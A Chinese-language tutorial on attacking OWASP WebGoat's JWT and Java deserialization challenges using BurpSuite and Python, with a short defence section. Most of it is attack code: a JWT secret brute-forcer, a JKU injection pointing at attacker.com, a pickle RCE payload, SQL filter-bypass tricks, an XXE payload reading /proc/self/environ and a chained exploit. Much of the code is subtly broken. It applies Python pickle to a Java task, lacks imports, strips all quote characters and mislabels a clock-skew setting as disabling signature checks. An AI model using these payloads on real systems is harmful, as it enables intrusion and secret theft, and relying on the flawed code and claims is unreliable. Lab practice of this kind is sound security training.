手把手教你用BurpSuite+Python脚本破解WebGoat的JWT与反序列化难题
WebGoat靶场实战BurpSuite与Python脚本破解JWT与反序列化漏洞在网络安全领域WebGoat作为OWASP推出的知名漏洞靶场一直是安全从业者磨练技能的绝佳平台。本文将聚焦WebGoat中两个最具挑战性的漏洞类型——JWT令牌伪造与反序列化攻击通过BurpSuite与Python脚本的组合应用带您深入理解漏洞原理并掌握实战破解技巧。1. 环境准备与工具链配置1.1 WebGoat靶场部署WebGoat支持多种部署方式推荐使用Docker容器快速搭建实验环境docker run -d -p 8001:8080 -p 8002:9090 -e TZAsia/Shanghai webgoat/webgoat关键组件说明WebGoat主服务默认端口8080映射到宿主机8001WebWolf辅助工具默认端口9090映射到宿主机80021.2 必备工具安装工具名称用途说明安装方式BurpSuite ProHTTP流量分析与拦截官网下载商业版Python 3.8脚本开发环境brew install pythonJWT_ToolJWT令牌分析与攻击pip install jwt_toolPyCryptodome加密算法实现库pip install pycryptodome1.3 BurpSuite初始配置配置浏览器代理为127.0.0.1:8080安装Burp证书访问http://burp设置Target Scope为WebGoat域名启用Logger模块记录所有请求提示针对HTTPS流量需在Burp的Proxy→Options中勾选Support invisible proxying2. JWT令牌伪造实战解析2.1 JWT基础结构分析典型JWT令牌由三部分组成eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c解码后结构// Header { alg: HS256, typ: JWT } // Payload { sub: 1234567890, name: John Doe, iat: 1516239022 } // Signature HMACSHA256(base64UrlEncode(header) . base64UrlEncode(payload), secret)2.2 密钥爆破攻击当JWT使用弱密钥时可通过字典爆破获取密钥。使用Python实现爆破脚本import jwt import hashlib def brute_force_jwt(token, wordlist): with open(wordlist, r) as f: for secret in f: secret secret.strip() try: jwt.decode(token, secret, algorithms[HS256]) print(f[] Found secret: {secret}) return secret except jwt.InvalidTokenError: continue return None # 示例用法 token eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NjUyMTg3NCwiZXhwIjoxNzU2NTIxOTM0LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.XkN1Opo8dezcsUIYErCtNRjrExb846qJ1-msWvihItw brute_force_jwt(token, common_secrets.txt)2.3 JKU头注入攻击当服务端验证JKU(JSON Key Set URL)头时可通过以下步骤攻击生成恶意RSA密钥对创建包含公钥的JWKS文件托管JWKS到可控服务器构造包含恶意JKU头的JWTfrom cryptography.hazmat.primitives.asymmetric import rsa from jwt import JWT, jwk_from_pem # 生成RSA密钥对 private_key rsa.generate_private_key(public_exponent65537, key_size2048) public_key private_key.public_key() # 构造JWKS jwks { keys: [{ kty: RSA, use: sig, kid: malicious, n: public_key.public_numbers().n, e: public_key.public_numbers().e }] } # 生成恶意JWT header { alg: RS256, typ: JWT, jku: http://attacker.com/malicious.jwks } payload {user: admin} token JWT().encode(header, payload, private_key)3. 反序列化漏洞深度利用3.1 Java反序列化原理Java反序列化漏洞通常源于ObjectInputStream读取不可信数据时攻击者可构造恶意序列化对象触发RCE。常见危险类InvokerTransformer(Apache Commons Collections)ProcessBuilderEventHandler3.2 WebGoat反序列化挑战破解针对WebGoat的延迟5秒任务构造恶意序列化对象的Python实现import base64 import subprocess class Exploit: def __reduce__(self): return (subprocess.Popen, ((ping, -n, 5, 127.0.0.1),)) # 生成Payload exploit Exploit() serialized pickle.dumps(exploit) b64_payload base64.b64encode(serialized).decode() print(fPayload: {b64_payload})3.3 防御措施绕过技巧当存在输入过滤时可尝试以下绕过方法十六进制编码\x74\x6f\x6d代替tomUnicode编码\u0074\u006f\u006d注释混淆/*!*/UNION/*!*/SELECT多重编码Base64URL编码组合4. 自动化攻击脚本开发4.1 Burp插件与Python联动通过Burp的API实现自动化攻击流程from burp import IBurpExtender from burp import IHttpListener class BurpExtender(IBurpExtender, IHttpListener): def registerExtenderCallbacks(self, callbacks): self._callbacks callbacks self._helpers callbacks.getHelpers() callbacks.registerHttpListener(self) def processHttpMessage(self, toolFlag, messageIsRequest, message): if not messageIsRequest: return request message.getRequest() analyzed self._helpers.analyzeRequest(request) headers analyzed.getHeaders() # 修改JWT令牌 if Authorization: Bearer in headers: new_jwt modify_jwt(extract_jwt(headers)) new_headers [h.replace(Bearer old_token, fBearer {new_jwt}) for h in headers] body request[analyzed.getBodyOffset():] message.setRequest(self._helpers.buildHttpMessage(new_headers, body))4.2 全流程自动化攻击示例针对WebGoat的JWT题目实现自动化攻击import requests import jwt TARGET http://localhost:8001/WebGoat/JWT/refresh/checkout def exploit(): # 1. 获取合法refresh_token session requests.Session() login_data {username: jerry, password: bm5nhSkxCXZkKRy4} session.post(f{TARGET}/login, datalogin_data) # 2. 使用过期令牌refresh_token获取新令牌 headers { Authorization: Bearer expired_admin_token, Content-Type: application/json } data {refresh_token: jerry_refresh_token} resp session.post(f{TARGET}/newToken, headersheaders, jsondata) new_token resp.json()[access_token] # 3. 使用新令牌执行特权操作 headers[Authorization] fBearer {new_token} resp session.get(f{TARGET}/admin, headersheaders) print(resp.text)5. 防御方案与最佳实践5.1 JWT安全防护措施防护措施实施方法使用强算法优先选择RS256而非HS256密钥复杂度密钥长度≥256位定期轮换Claims验证严格校验iss, aud, exp等标准claimsJKU/JWK验证限制可信的JWKS来源禁用动态JKU引用令牌注销机制实现令牌黑名单或短期有效期5.2 反序列化漏洞防护输入验证// 使用白名单验证反序列化类 ObjectInputStream ois new ObjectInputStream(input) { Override protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(safe.package.TrustedClass)) { throw new InvalidClassException(Unauthorized deserialization); } return super.resolveClass(desc); } };替代方案使用JSON/XML等安全数据格式实现SerializationFilter接口(JEP 290)启用安全管理器配置6. 漏洞挖掘进阶技巧6.1 静态代码分析模式识别JWT相关漏洞的代码特征// 危险模式1硬编码密钥 String secret weak_secret; Jwts.parser().setSigningKey(secret).parseClaimsJws(token); // 危险模式2禁用签名验证 Jwts.parser().setAllowedClockSkewSeconds(999999).parseClaimsJws(token);6.2 动态测试手法使用Burp插件自动测试JWT实现修改算法alg:none混淆大小写HS256→hs256无效签名测试过期令牌重放6.3 反序列化Gadget发现通过以下方法寻找利用链分析readObject方法实现搜索Runtime.exec()调用链检查常见库版本Commons Collections等使用GadgetInspector工具自动化探测7. 实战案例组合攻击突破防御某次渗透测试中发现以下防御措施JWT签名验证开启密钥定期轮换反序列化白名单控制突破方案通过XXE漏洞读取/proc/self/environ获取当前密钥使用获取的密钥生成合法JWT在JWT的claims中注入恶意序列化数据触发服务端JSON解析时的意外反序列化关键攻击代码片段import requests # 1. 通过XXE获取密钥 xxe_payload ?xml version1.0? !DOCTYPE root [!ENTITY xxe SYSTEM file:///proc/self/environ] rootxxe;/root secret extract_secret_from_response(post(xxe_url, xxe_payload)) # 2. 生成恶意JWT malicious_payload generate_serialized_gadget() token jwt.encode({data: malicious_payload}, secret, algorithmHS256) # 3. 触发反序列化 requests.get(target_api, headers{Authorization: fBearer {token}})8. 工具链优化建议8.1 BurpSuite工作流优化自定义插件开发自动识别JWT参数一键测试常见漏洞与外部脚本联动Session处理规则自动更新过期令牌维持长期会话状态处理CSRF令牌8.2 Python脚本库推荐# JWT操作库 from jwcrypto import jwk, jwt # 加密解密 from Crypto.Cipher import AES from Crypto.PublicKey import RSA # HTTP请求 import httpx # 支持HTTP/2 from requests_toolbelt import MultipartEncoder # 数据处理 import pandas as pd # 分析爆破结果 from bs4 import BeautifulSoup # HTML解析9. 疑难问题解决方案9.1 JWT时间校验绕过当遇到严格的exp校验时修改服务器时间需权限寻找其他校验漏洞如nbf缺失通过逻辑漏洞获取长期有效令牌9.2 复杂反序列化防护绕过针对白名单防护利用类加载机制差异通过内存马维持访问结合模板注入等二次攻击10. 学习资源与延伸阅读推荐进阶学习路径官方文档JWT RFC 7519Java序列化规范实战平台PortSwigger的Web Security AcademyHack The Box的JWT挑战研究论文《Java反序列化漏洞原理与防御》《JWT安全攻防全景指南》